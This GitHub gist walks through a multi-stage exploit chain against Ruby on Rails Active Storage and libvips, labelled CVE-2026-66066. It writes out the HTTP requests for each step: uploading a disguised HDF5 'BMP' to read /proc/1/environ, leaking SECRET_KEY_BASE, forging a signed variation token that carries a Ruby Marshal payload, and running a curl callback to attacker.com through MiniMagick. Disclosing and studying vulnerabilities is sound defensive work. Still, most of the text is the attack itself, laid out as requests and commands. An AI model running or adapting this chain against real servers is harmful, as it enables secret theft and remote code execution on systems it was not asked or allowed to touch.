Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created July 30, 2026 11:00
Show Gist options
  • Select an option

  • Save win3zz/ae02cb1c3be0b79f69b609f559e1f179 to your computer and use it in GitHub Desktop.

Select an option

Save win3zz/ae02cb1c3be0b79f69b609f559e1f179 to your computer and use it in GitHub Desktop.
CVE-2026-66066 - multi-stage exploit chain against a vulnerable Ruby on Rails + Active Storage + libvips installation

Stage 1 – Visit Upload Page (Get CSRF)

GET / HTTP/1.1
Host: victim.com

Response

<meta name="csrf-token"
      content="7G3F...TOKEN...ABCD">

Extract the CSRF token.


Stage 2 – Upload a Normal PNG

The PoC first uploads a harmless PNG.

POST /uploads HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----

------BOUNDARY
Content-Disposition: form-data; name="authenticity_token"

CSRF_TOKEN
------BOUNDARY
Content-Disposition: form-data;
 name="upload[avatar]";
 filename="safe.png"

<PNG DATA>
------BOUNDARY--

Response

HTTP/1.1 200 OK

Inside HTML:

<img src="/rails/active_storage/representations/redirect/.../safe.png">

This representation URL becomes important later.


Stage 3 – Create Direct Upload

Rails Active Storage allows JavaScript clients to upload files directly.

POST /rails/active_storage/direct_uploads HTTP/1.1

Content-Type: application/json
X-CSRF-Token: CSRF_TOKEN

{
  "blob":{
      "filename":"profile.bmp",
      "byte_size":12345,
      "checksum":"....",
      "content_type":"image/bmp"
  }
}

Response

{
   "signed_id":"eyJ...",
   "direct_upload":{
      "url":"/rails/active_storage/disk/....",
      "headers":{
           "Content-Type":"image/bmp"
      }
   }
}

Now the attacker has:

  • upload URL
  • signed blob ID

Stage 4 – Upload the Malicious BMP

This is not really a BMP.

It is actually

MATLAB
      +
HDF5
      +
External Dataset
      +
Embedded Ruby Marshal Payload

Uploaded with

PUT /rails/active_storage/disk/... HTTP/1.1

Content-Type: image/bmp

<malicious file>

Response

204 No Content

Stage 5 – Trigger Image Processing

Now the representation URL is modified to use the uploaded blob.

GET /rails/active_storage/representations/redirect/<signed_blob>/profile.bmp

At this point Rails asks libvips to process the image.

Instead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.

The HDF5 file contains an External Dataset pointing to

/proc/1/environ

So libvips loads

/proc/1/environ

instead of image pixels.


Stage 6 – Information Disclosure

The response is still a PNG image.

However its pixels now contain the contents of

/proc/1/environ

The PoC parses the returned PNG.

Inside the pixels it extracts

SECRET_KEY_BASE=xxxxxxxxxxxxxxxx

This is the Rails signing secret.


Stage 7 – Forge Active Storage Token

Now the PoC computes

HMAC(secret,
     serialized Ruby Marshal payload)

creating a valid Rails signed token.

This is equivalent to forging a legitimate

variation_key

for Active Storage.


Stage 8 – Final Trigger

GET /rails/active_storage/representations/redirect/<FORGED_TOKEN>/safe.png

This time Rails trusts the forged token because it is correctly signed with the recovered SECRET_KEY_BASE.

Rails deserializes the embedded Ruby Marshal object.


Stage 9 – Code Execution

The Marshal object eventually invokes

MiniMagick::Tool

configured as

/usr/bin/curl

with arguments similar to

curl \
 --silent \
 --show-error \
 --max-time 8 \
 --output /dev/null \
 http://attacker.com/callback

The outbound callback proves code execution without returning sensitive data.


Complete Burp Flow

GET /
      │
      ▼
Receive CSRF Token
      │
      ▼
POST /uploads
      │
      ▼
Receive Representation URL
      │
      ▼
POST /rails/active_storage/direct_uploads
      │
      ▼
Receive signed_id + upload URL
      │
      ▼
PUT malicious BMP
      │
      ▼
GET representation(profile.bmp)
      │
      ▼
libvips reads /proc/1/environ
      │
      ▼
SECRET_KEY_BASE leaked
      │
      ▼
Forge Rails signed token
      │
      ▼
GET representation(forged token)
      │
      ▼
Marshal Deserialization
      │
      ▼
MiniMagick::Tool
      │
      ▼
curl attacker callback

Vulnerability Chain

This is not a single vulnerability, but a chained exploit:

  1. Arbitrary file read via libvips external HDF5 dataset (/proc/1/environ).
  2. Leak of SECRET_KEY_BASE from the Rails process environment.
  3. Forgery of Active Storage signed variation tokens using the leaked secret.
  4. Unsafe Ruby Marshal deserialization of the forged variation.
  5. Command execution through the MiniMagick::Tool gadget (demonstrated with an outbound curl callback).

Ref. PoC:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment